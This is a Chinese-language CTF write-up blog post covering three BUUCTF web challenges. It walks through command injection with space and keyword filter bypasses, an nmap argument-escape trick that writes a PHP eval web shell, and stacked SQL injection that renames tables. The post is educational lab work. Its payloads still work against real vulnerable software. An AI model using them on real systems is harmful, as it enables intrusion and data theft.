buuctf - web - write up(待更新

[GXYCTF2019]Ping Ping Ping

发现是可以根据ip的值来进行传递

先看看有什么文件在路径下

1
url/?ip=127.0.0.1;ls

 直捣黄龙,cat flag.php,发现过滤了空格

 过滤空格的操作(这些姿势来自网上的师傅,受教了

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$1   //$1改成$加其他数字都可以
$<
$<>
{cat,flag.php}  //用逗号实现了空格的功能
%20
%09
//payload
url/?ip=127.0.0.1;cat$IFS$1flag.php

发现flag又被过滤了,看看index.php文件

url/?ip=127.0.0.1;cat$IFS$1index.php
复制代码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>
复制代码

发现flag四个字符的拼接方式都被过滤了

方法一:

使用$a 任意字符覆盖的方法,获得flag

//payload
url/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

 方法二:网上师傅的姿势yyds

//payload
url/?ip=127.0.0.1;cat$IFS$9`ls`

ls的结果当成cat的参数,那样就不用出现flag这个参数了。

 拓展补充:

A&B: 顺序执行多条命令,而不管命令是否执行成功

A&&B: 顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令

A|B: 管道命令,如:dir *.* /s/a | find /c \".exe\" 表示:先执行 dir 命令,对其输出的结果执行后面的 find 命令

A||B: 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令

命令执行漏洞利用(其中'&&'可进行替换):

127.0.0.1 && dir    文件路径

127.0.0.1 && ipconfig  网卡

127.0.0.1 && arp -a    arp表

127.0.0.1 && regedit   注册表

127.0.0.1 && netstat -ano    端口信息

 

Web - [网鼎杯 2020 朱雀组]Nmap

考察点:单引号逃逸、nmap写文件、-iL读取扫描文件、escapeshellarg绕过

打开是nmap的命令

 nmap命令:

//url

nmap写文件:

  • -oN 标准保存
  • -oX XML保存
  • -oG Grep保存
  • -oA 保存到所有格式

-iL扫描读取文件

1
-iL 参数可以实现NMAP读取任意文件的操作

escapeshellarg()

1
2
3
4
5
6
假设传入的参数为
127.0.0.1‘ -a -b -c x=1
通过escapeshellarg函数处理过后,
变成
127.0.0.1’\‘' -a -b -c x=1'
简而言之就是将其中的单引号转义,然后再用单引号将内容给包含起来

  那么由上面的知识点形成的payload如下:

payload1

//payload 1 
//注意单引号为英文下的字符
//利用了-iL的任意读文件后保存在目录下
127.0.0.1 | ‘ -iL /flag -oN 1.txt ’

访问1.txt,即可查看到flag

 payload2  

//payload 2
//既然可以传入,那么是不是可以传入一句话木马
127.0.0.1 | ' <?php @eval($_POST["hack"]);?> -oG hack.php '
//发现php被过滤了,“=”即为短标签,可以绕过php的过滤
127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG 2.phtml '

访问2.phtml 即可看见正常传入

使用蚁剑连接,根目录下发现flag文件

 

 

Web - 强网杯2019[随便注]

涉及考点:堆叠注入

先尝试

1
2
1' order by 2;#     //有反馈
1' order by 3;#     //报错

看看有什么表

1
1';show tables;#      //#的作用是把后面的sql语句注释掉

 

 

 发现了两个表,看一下表内有什么

tips:如果查看的表名是字符型(数字)的话,需要添加反引号,即波浪线(~)这个按键

小结:

words有两个属性,id \ data

1911****** 只有一个属性flag

由此可以得出,输入框查询的内容就是words表的内容

攻击姿势:

复制代码
//payload1
//利用更换表明的操作

 1';rename table `words` to words2;          //将words改名为words2

 rename table `1919810931114514` to `words`;      //将191******改名为words
 alter table words change flag id varchar(100);    //将改名后的191****添加一列id
 show tables;                         //显示表的内容
 show columns from words;#                 //查询words的字段

复制代码
//然后用万能密码查询出答案
1‘ or  1=1;#

 

 

 

posted @   GoIcejio  阅读(8)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 25岁的心里话
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示